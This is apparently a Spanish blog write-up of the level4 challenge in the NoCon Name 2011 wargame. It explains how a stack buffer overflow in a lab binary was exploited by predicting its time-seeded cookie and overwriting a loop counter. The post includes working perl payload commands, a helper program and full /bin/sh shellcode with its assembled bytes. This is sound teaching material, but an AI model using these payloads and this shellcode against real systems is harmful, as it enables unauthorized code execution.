sábado, 17 de septiembre de 2011

Writeup level4 del wargame de la NoCon Name 2011

Este nivel ya tiene bastante más miga que los anteriores (o nosotros no logramos ver el camino fácil). Al loguearnos como level3 veremos el binario level4 (por qué no level3?). Al ejecutarlo veremos que quiere galletas, y de chocolate encima! VAYA TOCOMOCHO!.

$ ./level4
./level4 <Te cambio mi galleta por una de chocolate!>

En fin, vamos a probar.

$ ./level4 1
Esta es mi galleta: <numero hexadecimal>

Si repetimos esto muchas veces veremos que su galleta cambia y no depende de la que nosotros introduzcamos... YA LO TENEMOS!

$ ./level4 chocolate
Esta es mi galleta: <otro numero>

Ooohhh! no pudo ser :). Probemos con el sentido de la vida el universo y todo lo demás.

$ ./level4 42
Esta es mi galleta: <guan mor taim a random namber>

Vaya hombre! más no se le puede dar!. En fin, después de todas estas tonterías vamos a lo serio.

Primero le echamos un ojo al fuente, vemos que la galleta es un número aleatorio con semilla el tiempo actual. Después de generarla se llama a la funcion galleta() que es donde está toda la magia.

Lo primero que vemos es que se copia byte a byte en un BUFFER ESTÁTICO LOCAL A LA FUNCIÓN EL ARGUMENTO PASADO QUE A SU VEZ ES LA GALLETA QUE NOSOTROS LE PASAMOS... o sea BoF (buffer overflow).

A partir de aquí entendemos que el lector tiene ciertos conocimientos de reversing y exploiting además de ensamblador (x86) y de la organización de un proceso en memoria. Si no es así recomendamos Smashing the stack for fun and profit para empezar.

Viendo el BoF lo que vamos a intentar es aprovecharnos del mismo. Nuestro objetivo será sobreescribir la dirección de retorno de galleta para que salte a la pila donde habremos inyectado una shellcode. Esto es posible porque el buffer a explotar es bastante grande, 64 bytes. También nos damos cuenta de que a la hora de sobreescribir debemos lograr que cookie no cambie de valor o el programa saldrá por un exit, con lo que no nos servirá de nada lasobreescritura. El valor de cookie debe ser el mismo que el de secret que a su vez es el número aleatorio que se generó en main.

Vamos por partes, tenemos que sobreescribir la dirección de retorno, pero en este proceso vamos a trastocar cookie, i y len. Esto va a introducir unos cuantos problemas, no va a ser tan simple como pasar como galleta nuestra shellcode, basura y la direccion de retorno a la que queremos saltar.

Si empezamos a probar metiendo argumentos más grandes que 64 bytes veremos que a partir de 65 bytes nuestras galletas no son de chocolate.

$ ./level4 `perl -e 'print "A"x65'`
Esta es mi galleta: XXXXX
Esta no es de chocolate! :(

Con esto sabemos que a partir del byte 65 se empieza a sobreescribir cookie. Ahora nos vamos a centrar en convertir nuestras galletas en galletas de chocolate. Sabemos que la galleta del programa es el resultado de la función rand() con semilla el tiempo actual, pero como vamos a adivinar el número que saldrá en el futuro? No lo vamos a adivinar, vamos a averiguar cuál es ese número e inmediatamente lo vamos a usar para ejecutar level4, si todo esto lo hacemos en menos de un segundo (la granularidad de la función time()) obtendremos el número que necesitamos pasar. Para ello hemos hecho el siguiente programa:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    int limit = 0;
    int random;
    char *trick;

    srand(time(NULL));
    random = rand();
    trick = (char *)&random;
    printf("%s", trick);
}

El programa es muy simple, vamos a generar el número con la semilla igual al tiempo actual y lo vamos a imprimir. Si antes de que pase un segundo ejecutamos este programa, cogemos el numero devuelvo y se lo pasamos a level4 (tratándolo) conseguiremos que level4 obtenga el mismo número y entonces la comparación de nuestra galleta con la suya será igual. Con esto conseguimos que no se ejecute el exit(), sino que retorne de la función... y nuestra idea es sobreescribir eso }:). El programa tiene un pequeño truco para imprimir el número pero entiendo que el lector sabe suficiente C como para entenderlo sin problemas.

Compilamos y probamos de la siguiente manera:

$ gcc -o cubridor_de_chocolate_galletil cubridor_de_chocolate_galletil.c
$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\`'`
Esta es mi galleta: XXXXXX
$

Vemos que funciona, ahora no se ha quejado de que la galleta no es de chocolate, claro! la que le pasamos la recubrimos de chocolate con nuestro cubridor!.

Si seguimos aumentando la ristra que pasamos en pos de sobreescribir a muerteeeeee... bueno no, solo a la dirección de retorno.

$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\` . "A"'`
^C
$

Vemos que el programa se queda congelado y que hay que matarlo abruptamente, no sabemos muy bien por qué. Analizando en profundidad (gdb en mano) observamos lo siguiente:



Al desamblar galleta() y analizar dónde se encuentran todas sus variables locales y como está organizado su frame vemos lo siguiente:

-----------------
|      tmp      | <-- -0x54(ebp)
|               |
       ...
|               |
-----------------
|     cookie    | <-- -0x14(ebp)
-----------------
|       i       | <-- -0xc(ebp)
-----------------
|      len      | <-- -0x8(ebp)
-----------------
|      ...      |
-----------------
|      ...      |
-----------------
|   saved ebp   | <-- (ebp)
-----------------
|   saved eip   |
-----------------
|     arg[1]    |
-----------------

Si seguimos metiendo más bytes en el argumento sobreescribiremos i y por lo tanto la copia en tmp dejará de ser contigua. A continuación vemos el bucle que copia en tmp el argumento:



Debemos darnos cuenta que i y len no se mantienen en registros entre iteraciones, sino que se guardan y se leen de memoria cada vez. Esto provoca que cuando sobreescribimos el primer byte de i luego se incremente ese valor en 1 y entonces se vaya a buscar el byte en esa posicion en argv[1] y se guarde en esa posición en tmp. En nuestro ejemplo usando "A" que en hexadecimal es 0x41, se sobreescribirá i poniéndole ese valor, luego se cargará i (que ahora vale 0x41) se incrementará y se volverá a guardar, con lo que nos quedará que en la siguiente iteración se cogerá el byte de la posicion 0x42 (66 en decimal) del argumento y se guardará en la posición tmp[66].

Tenemos que construir nuestro argumento para que justo en el byte 69 (donde se empieza a sobreescribir i) tenga un valor que nos permita escribir en la dirección de retorno. Si nos fijamos en la posición de tmp en la pila veremos que está a 0x58 bytes de distancia de saved eip, así pues el byte que tenemos que pasar es, OJO!, 0x57. Ya que i se sobreescribirá con el e inmediatamente se incrementará para luego copiar un byte más en tmp.

Pero como hemos comentado antes, i también controla a la posición a la que se accede al argumento para buscar el byte a copiar, por lo tanto en la posición 0x58 de nuestro argumento debe empezar la dirección con la que queremos sobreescribir saved eip. Para ello deberemos aumentar el tamaño del argumento de la siguiente manera.

Dentro del propio gdb probamos todo esto:


Efectivamente vemos como hemos sobreescrito la dirección de retorno con 0xddccbbaa y evidentemente hemos acabado con un segmentation fault. Un detalle, "cubridor_de_chocolate_galletil" es gracioso pero poco práctico si se va a usar mucho, en el ejemplo vemos que lo hemos llamado "predictor"... PERO MOLA MÁS EL OTRO!.

Ahora debemos saber que dirección poner ahí, vamos a intentar saltar a la dirección de tmp, donde más tarde pondremos una shellcode. Miramos con gdb dónde se encuentra:



Vemos que se encuentra en 0xbffffc44. Aquí tenemos que hacer un par de aclaraciones. La primera y más importante es que esta dirección se mantiene entre ejecuciones porque ASLR no esta activo ("cat /proc/sys/kernel/randomize_va_space" devuelve 0). La segunda es que ahora estamos ejecutando dentro de gdb, cuando salgamos la dirección cambiará (aunque será cercana) debido a que el entorno donde se ejecuta no es el mismo. Para averiguar en que dirección se va a colocar la pila vamos a hacer una copia de level4.c, vamos a modificar ligeramente el programa, poniéndole la siguiente línea nada más comenzar galleta():

printf("%p\n", &tmp);

De forma que nos imprima la dirección donde se encuentra el buffer al que queremos saltar sin estar en gdb:

$ gcc -o copia_level4 copia_level4.c
...
$ ./copia_level4 `perl -e 'print "A"x64 . \`./predictor\` . "\x57" . "A"x19 . "\xaa\xbb\xcc\xdd"'`
0xbffffc74
Segmentation fault

Bien, el comienzo de tmp es esa dirección y hemos sobreescrito la dirección de retorno. Debemos hacer notar que no basta con ejecutar simplemente copia_level4 con un argumento cualquiera porque el tamaño de éste también modifica la dirección en pila debido a que los argumentos se encuentran en direcciones de memoria más altas que la pila, y cuanto más grande sea el argumento la pila quedará en posiciones más bajas. Veamos:

$ ./copia_level4 ":O"
...
0xbffffcd4

Como vemos, ahora esta en posiciones más altas de memoria, hay que tener cuidado con esto, de hecho ahora veremos que tenemos que hacer una pequeña modificación por algo parecido.

Bien ya tenemos la dirección de retorno sobreescrita y con la dirección que queremos sobreescribir. Ahora "sólo" queda poner allí una shellcode. En esta parte vamos a poner un gran agujero negro. Nosotros, el grupo PHT, hemos/estamos participado/participando en más wargames y tenemos una serie de utilidades ya escritas por nosotros para ayudarnos. Entre ellas tenemos escrita una pequeña shellcode en ensamblador que implementa las técnicas necesarias para que sea "reallocatable" y sin bytes nulos (Smashing the stack for fun and profit si quieres saber de que va todo esto). Es la siguiente:

    jmp        trick

shellcode:
    pop        esi
    xor        eax, eax
    mov        [esi + 0x7], al
    mov        [esi + 0x8], esi
    mov        [esi + 0xc], eax
    mov        ebx, esi
    mov        ecx, esi
    add        cl, 8
    xor        edx, edx
    xor        esi, esi
    mov        al, 0xb
    int        0x80

trick:
    call    shellcode

db    "/bin/shABBBBCCCC"

Está preparada para compilar con nasm, pero por desgracia nasm (al menos el que nosotros tenemos), no genera el codigo como esperamos, el jmp y call no son cercanos y encodean directamente una dirección y no un desplazamiento, así que hay que parchear a manopla los bytes correspondientes. Para ello tradujimos la shellcode a gas (GNU ASsembler):


.globl main
main:
    jmp        trick
shellcode:
    pop        %esi
    xor        %eax, %eax
    movb    %al, 0x7(%esi)
    movl    %esi, 0x8(%esi)
    movl    %eax, 0xc(%esi)
    movl    %esi, %ebx
    movl    %esi, %ecx
    addb    $0x8, %cl
    xor        %edx, %edx
    xor        %esi, %esi
    movb    $0xb, %al
    int        $0x80

trick:
    call     shellcode

.string    "/bin/shABBBBCCCC"

Y la modificamos un poco para poderla compilar con gcc QUE SI GENERA SALTOS RELATIVOS, y poder ver como se encodeaban esas instrucciones con objdump:

$ objdump -D <shellcode>
...
08048394 <main>:
 8048394:       eb 1b                   jmp    80483b1 <trick>

08048396 <shellcode>:
 8048396:       5e                      pop    %esi
 8048397:       31 c0                   xor    %eax,%eax
 8048399:       88 46 07                mov    %al,0x7(%esi)
 804839c:       89 76 08                mov    %esi,0x8(%esi)
 804839f:       89 46 0c                mov    %eax,0xc(%esi)
 80483a2:       89 f3                   mov    %esi,%ebx
 80483a4:       89 f1                   mov    %esi,%ecx
 80483a6:       80 c1 08                add    $0x8,%cl
 80483a9:       31 d2                   xor    %edx,%edx
 80483ab:       31 f6                   xor    %esi,%esi
 80483ad:       b0 0b                   mov    $0xb,%al
 80483af:       cd 80                   int    $0x80

080483b1 <trick>:
 80483b1:       e8 e0 ff ff ff          call   8048396 <shellcode>
...

Para inyectarla en level4 hacemos lo siguiente:


Y por fin tenemos la contraseña del siguiente nivel. El lector avispado se habrá dado cuenta de que la dirección de retorno que se sobreescribe no es la misma que la que hemos usado anteriormente 0xbffffc74, sino 0xbffffc84. Esto es debido a que el entorno de copia_level4 y level4 son distintos. Cuando ejecutamos un programa en su entorno aparece una variable llamada "_" que contiene el nombre del programa ejecutado (./level4 o ./copia_level4). Las variables de entorno están en posiciones más altas de memoria (al igual que los argumentos), por lo tanto la pila se ve modificada dependiendo del tamaño del nombre del programa. Nombres más largos harán que la pila este en posiciones más bajas de memoria. Y aun hay una vuelta de tuerca más, la pila no puede estar en cualquier posición, sólo en posiciones múltiplo de 4 ya que si no los accesos a memoria relativos a ebp y esp generarían segmentations fault por acceder a posiciones no alineadas. Para evitar esto los programas compilados por gcc, en su main tienen siempre una instrucción para alinear la pila:

0x0805f3f3 <+3>:    and    $0xfffffff0,%esp

Vemos que se alinea de 16 bytes en 16 bytes. Se puede comprobar esto en cualquier programa que compilemos con gcc. Si hacemos un análisis del comportamiento de la pila veremos que según vayamos aumentando el nombre o dándole al programa un argumento más grande, la pila se moverá cada 16 bytes. Este es el motivo de por qué hemos sumado 16 bytes (0x10) a la dirección de retorno a sobreescribir, el nombre ./copia_level4 es más largo que ./level4. Se puede pensar que quizás tenemos la suerte de que tanto con un nombre como con el otro, ya que no distan 16 bytes, podríamos caer en la misma posición. Este planteamiento es cierto, pero hay que tener cuidado, no hay que "sumar o restar 16" a partir del nombre, el nombre podría empezar en <dirección alineada>+7, con lo que sólo nos quedarían 16-7=9 bytes para que nombres más largos no modificaran la pila. En este caso concreto la diferencia entre copia_level4 y level4 sí ocasiona que la pila se desplace. Por ello hemos modificado la dirección 16 bytes.

Adicionalmente aunque no haría falta porque estamos saltando con precisión de un byte, se puede observar que antes de nuestra shellcode hemos inyectado 14 bytes con valor "\x90", ese valor corresponde a la instrucción nop de x86 y la técnica de poner delante de nuestra shellcode unos cuantos se llama NOPSLED, sirve para en situaciones donde no sabemos la dirección exacta donde ha caído la shellcode pero más o menos tenemos delimitado por dónde ha sido, podamos saltar por esa zona y tener un "colchón", siempre que caigamos en alguno de los nops o en el primer byte de la shellcode, ésta se ejecutará correctamente.

Que no se piense el lector que el proceso lo hemos hecho seguido sin equivocarnos y con todas las ideas viniendo de golpe. En este nivel hay que pensar, es especialmente cabroncete el hecho de que i se sobreescribe porque el comportamiento que ocurre no es tan evidente. Nos ha llevado algunas horas conseguirlo.

NOTA PARA LA ORGANIZACION: No se si es algo hecho a conciencia o un error. La contraseña que se muestra al obtener el contenido del fichero password.txt de level4 no sirve para loguearse luego como level4. Revise lo que conozco del login de usuario, mire ficheros ocultos en el home de level4, comprobe la configuración de sshd, intente loguearme tanto por ssh como por una consola local, comprobe que el mapa de caracteres imprimía los caracteres esperados y no otros (a veces pasa que el mapa es incorrecto y no se nota en la contraseña), revise la configuración de los PAM para ver si había algo puesto a mano (como las reglas de iptables de level0 que que mandaban el RST,ACK junto con el programa lol que se ejecuta al inicio del sistema y que entre otras cosas invoca a hping3 ;) y finalmente hasta probe a entrar como root para mirar /var/log/auth.log a ver si me daba alguna pista. Todos los mensajes son de contraseña incorrecta. Por otro lado debido a los permisos de las carpetas home y de los ejecutables a explotar, se puede con cualquier usuario hacer cualquier nivel (desde level0 podíamos haber intentado level5), hasta aquí creo haber demostrado que sé cómo hacer reversing y exploiting de un programa como level4 y que lo que se pretendía demostrar lo he demostrado, si se trata de alguna idea feliz (como probar bruteforcing con pequeñas variaciones de la contraseña que tenemos) o por el estilo ahora mismo no me interesa, me interesa mucho más ponerme con el siguiente nivel que parece muy entretenido :).

Puedes bajarte el pdf aquí.

No hay comentarios:

Publicar un comentario